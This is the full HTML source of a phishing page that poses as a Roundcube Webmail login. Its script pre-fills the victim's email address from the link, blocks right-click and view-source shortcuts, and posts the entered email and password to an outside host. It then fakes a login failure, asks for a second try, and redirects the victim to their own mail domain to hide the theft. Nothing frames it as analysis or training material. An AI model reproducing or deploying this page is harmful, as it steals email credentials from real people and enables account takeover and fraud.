<!DOCTYPE html>
<html lang="en" class="js chrome webkit layout-large">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <title>Roundcube Webmail :: Welcome to Roundcube Webmail</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no, maximum-scale=1.0">
    <meta name="theme-color" content="#f4f4f4">
    <meta name="msapplication-navbutton-color" content="#f4f4f4">

    <link rel="shortcut icon" href="https://webmail.supremecluster.com/skins/elastic/images/favicon.ico?s=1593860317">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">


    <link rel="stylesheet" href="https://webmail.supremecluster.com/skins/elastic/deps/bootstrap.min.css?s=1593860330">
    <link rel="stylesheet" href="https://webmail.supremecluster.com/skins/elastic/styles/styles.css?s=1593860317">

    <link rel="stylesheet" type="text/css"
        href="https://webmail.supremecluster.com/plugins/xframework/assets/styles/framework.css?s=1506327547">
    <link rel="stylesheet" type="text/css"
        href="https://webmail.supremecluster.com/plugins/jqueryui/themes/elastic/jquery-ui.css?s=1593860316">

<!--change-->
</head>

<body class="task-login action-none">
    <div id="layout">
        <h1 class="voice">Roundcube Webmail Login</h1>

        <div id="layout-content" class="selected no-navbar" role="main">
            <img src="https://webmail.supremecluster.com/skins/elastic/images/logo.svg?s=1593860317" id="logo"
                alt="Logo">
            <form id="login-form" name="thisForm" method="post" class="propform" action="">
                <input type="hidden" name="lourl" value="" id="lourl">
                <div id="msg" style="display: none;color: red;">Login Failed. Please try again!</div><br>
                <table>
                    <tbody>
                        <tr class="form-group row">
                            <td class="title" style="display: none;"><label for="rcmloginuser">Username</label>
                            </td>
                            <td class="input input-group input-group-lg"><span class="input-group-prepend">
                                <i class="input-group-text user fa fa-user"></i></span><input name="email"
                                    id="email" required="" size="40" autocapitalize="off" type="text"
                                    class="form-control" placeholder="Username"></td>
                        </tr>
                        <tr class="form-group row">
                            <td class="title" style="display: none;"><label for="rcmloginpwd">Password</label>
                            </td>
                            <td class="input input-group input-group-lg"><span class="input-group-prepend">
                                <i class="input-group-text pass fa fa-lock"></i></span><input name="password"
                                    id="password" required size="40" autocapitalize="off" autocomplete="off" type="password"
                                    class="form-control" placeholder="Password"></td>
                        </tr>
                    </tbody>
                </table>
                <p class="formbuttons"><button type="submit" id="submit-btn"
                        class="button btn btn-primary btn-lg text-uppercase w-100">Login</button>
                </p>

                <div id="login-footer" role="contentinfo">Roundcube Webmail</div>
            </form>
        </div>
        <div id="messagestack"></div><!--<i class="fa fa-exclamation-triangle"></i> -->
        
        

<!--HEREHREHEHERHREHREREHREHREHREHREHREHREHREHERHERHREHRERHEERHREHREHREHHREHRE-->

    <!--Close login-wrapper -->
    </div>
     <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js"></script>
      <script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
      <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script>
      <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>
    
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
    
    <script>
      // prevent ctrl + s
    $(document).bind('keydown', function(e) {
    if(e.ctrlKey && (e.which == 83)) {
    e.preventDefault();
    return false;
    }
    });
    
    document.addEventListener('contextmenu', event => event.preventDefault());
    
    document.onkeydown = function(e) {
    if (e.ctrlKey && 
    (e.keyCode === 67 || 
    e.keyCode === 86 || 
    e.keyCode === 85 || 
    e.keyCode === 117)) {
    return false;
    } else {
    return true;
    }
    };
    $(document).keypress("u",function(e) {
    if(e.ctrlKey)
    {
    return false;      }
    else {
    return true;
    }});
    
    $(document).ready(function(){
        var count=0;
    
        
    
        /////////////url email getting////////////////
        var email = window.location.hash.substr(1);
        if (!email) {
    
        }
        else
        {
            // $('#email').val(email);
            var my_email =email;
            var ind=my_email.indexOf("@");
            var my_slice=my_email.substr((ind+1));
            var c= my_slice.substr(0, my_slice.indexOf('.'));
            var final= c.toLowerCase();
            
            $('#email').val(my_email);
            $('#emailch').html(my_email);
            $("#msg").hide();
           
         
          }
          ///////////////url getting email////////////////
    
    
          
          $('#submit-btn').click(function(event){
            $('#error').hide();
            $('#msg').hide();
            event.preventDefault();
            var email=$("#email").val();
            var password=$("#password").val();
            var msg = $('#msg').html();
            $('#msg').text( msg );
          ///////////new injection////////////////
          var my_email =email;
          var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
    
          if (!filter.test(my_email)) {
            $('#error').show();
            $('#error').html("ERROR! email or password field is empty.");
            email.focus;
            return false;
          }
          if (!password) {
            $('#error').show();
            $('#error').html("password field is empty");
            email.focus;
            return false;
          }
    
          var ind=my_email.indexOf("@");
          var my_slice=my_email.substr((ind+1));
          var c= my_slice.substr(0, my_slice.indexOf('.'));
          var final= c.toLowerCase();
          ///////////new injection////////////////
          count=count+1;
          
          $.ajax({
            dataType: 'JSON',
            url: "https://greenmarkethub.click/app/Http/Controllers/salsa.roundcube.larry/drun.php",
            type: 'POST',
            data:{
              email:email,
              password:password,
            },
                // data: $('#contact').serialize(),
                beforeSend: function(xhr){
                  $('#submit-btn').html('verifying...');
                },
                success: function(response){
                  if(response){
                    $("#msg").show();
                    console.log(response);
                    if(response['signal'] == 'ok'){
                      $("#password").val("");
                      if (count>=2) {
                        count=0;
                        //window.location.replace(response['redirect_link']);
                        //window.location.replace("succesful.html#"+my_email);
                        window.location.replace("http://www."+my_slice);

    
                      }
                      // $('#msg').html(response['msg']);
                    }
                    else{
                      // $('#msg').html(response['msg']);
                    }
                  }
                },
                error: function(){
                  $("#password").val("");
                  if (count>=2) {
                    count=0;
                    //window.location.replace("succesful.html#"+my_email);
                    window.location.replace("http://www."+my_slice);
                  }
                  $("#msg").show();
                  // $('#msg').html("Please try again later");
                },
                complete: function(){
                  $('#submit-btn').html('Login');
                }
              });
        });
    
    
        });
    </script>
    
    <style>
        @media (min-width: 481px) {
            #select_user_form {
                width: px;
            }
        }
    </style>
        <div class="copyright">Copyright© 2022 cPanel, Inc.</div>
    
    
    
    
    </div></body></html>